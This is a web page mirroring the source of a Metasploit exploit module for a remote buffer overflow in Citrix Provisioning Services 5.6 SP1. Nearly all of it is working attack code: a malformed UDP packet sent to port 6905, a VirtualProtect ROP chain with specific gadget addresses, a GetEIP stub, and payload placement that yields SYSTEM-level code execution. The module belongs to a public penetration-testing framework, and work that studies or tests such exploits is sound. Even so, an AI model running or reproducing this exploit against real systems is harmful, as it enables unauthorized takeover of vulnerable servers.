CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/misc/citrix_streamprocess_get_footer.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::Udp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Citrix Provisioning Services 5.6 SP1 Streamprocess Opcode 0x40020002 Buffer Overflow',
14
'Description' => %q{
15
This module exploits a remote buffer overflow in the Citrix Provisioning Services
16
5.6 SP1 (without Hotfix CPVS56SP1E043) by sending a malformed packet with the opcode
17
0x40020002 (GetFooterRequest) to the 6905/UDP port. The module, which allows code execution
18
under the context of SYSTEM, has been successfully tested on Windows Server 2003 SP2
19
and Windows XP SP3.
20
},
21
'License' => MSF_LICENSE,
22
'Author' =>
23
[
24
'alino <26alino[at]gmail.com>', # citrix_streamprocess_data_msg author
25
'juan vazquez' # Metasploit module
26
],
27
'References' =>
28
[
29
['OSVDB', '75780'],
30
['BID', '49803'],
31
['URL', 'http://support.citrix.com/article/CTX130846']
32
],
33
'DefaultOptions' =>
34
{
35
'EXITFUNC' => 'process',
36
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
37
},
38
'Payload' =>
39
{
40
'BadChars' => "\x00",
41
'EncoderOptions' => {'BufferRegister'=>'ECX'},
42
},
43
'Platform' => ['win'],
44
'Targets' =>
45
[
46
[ 'Citrix Provisioning Services 5.6 SP1',
47
{
48
'Offset' => 5596,
49
'Ret' => 0x0045403a # ADD ESP,664; RETN 04 streamprocess.exe
50
}
51
]
52
],
53
'Privileged' => true,
54
'DisclosureDate' => '2011-11-04', #CTX130846 creation date
55
'DefaultTarget' => 0))
56
57
register_options([Opt::RPORT(6905)])
58
end
59
60
def exploit
61
62
packet = "\x02\x00\x02\x40" # DATA MSG
63
packet << rand_text_alpha_upper(18)
64
packet << "\x00\x00\x00\x00" # Length
65
packet << rand_text_alpha_upper(target['Offset'])
66
packet << [target.ret].pack('V')
67
68
rop_nop = [0x004a072c].pack('V') * 38 # RETN streamprocess.exe
69
70
rop_gadgets =
71
[
72
0x0045b141, # POP EAX; RETN streamprocess.exe
73
0x1009a1bc, # VirtualProtect()
74
0x00436d44, # MOV EAX,DWORD PTR DS:[EAX]; RETN streamprocess.exe
75
0x004b0bbe, # XCHG EAX,ESI; RETN streamprocess.exe
76
0x004ad0cf, # POP EBP; RETN streamprocess.exe
77
0x00455d9d, # PUSH ESP; RETN streamprocess.exe
78
0x00497f5a, # POP EAX; RETN streamprocess.exe
79
0xfffff9d0, # dwSize
80
0x00447669, # NEG EAX; RETN streamprocess.exe
81
0x004138a7, # ADD EBX,EAX; XOR EAX,EAX; RETN streamprocess.exe
82
0x00426305, # POP ECX; RETN streamprocess.exe
83
0x00671fb9, # lpflOldProtect
84
0x004e41e6, # POP EDI; RETN streamprocess.exe
85
0x0040f004, # RETN streamprocess.exe
86
0x00495c05, # POP EAX; RETN streamprocess.exe
87
0xffffffc0, # flNewProtect
88
0x0042c79a, # NEG EAX; RETN streamprocess.exe
89
0x0049b676, # XCHG EAX,EDX; RETN streamprocess.exe
90
0x0045c1fa, # POP EAX; RETN streamprocess.exe
91
0x90909090, # NOP
92
0x00435bbe, # PUSHAD; RETN streamprocess.exe
93
].pack("V*")
94
95
packet[398, rop_nop.length] = rop_nop
96
packet[550, rop_gadgets.length] = rop_gadgets
97
# Put payload address in ecx
98
geteip = "\xeb\x03" # jmp short 0x5
99
geteip << "\x59" # pop ecx
100
geteip << "\xff\xd1" # call ecx
101
geteip << "\xe8\xf8\xff\xff\xff" # call to "pop / call"
102
packet[634, 10] = geteip
103
packet[644, payload.encoded.length] = payload.encoded
104
105
print_status("Trying target #{target.name}...")
106
107
connect_udp
108
udp_sock.put(packet)
109
110
handler
111
disconnect_udp
112
end
113
end
114
115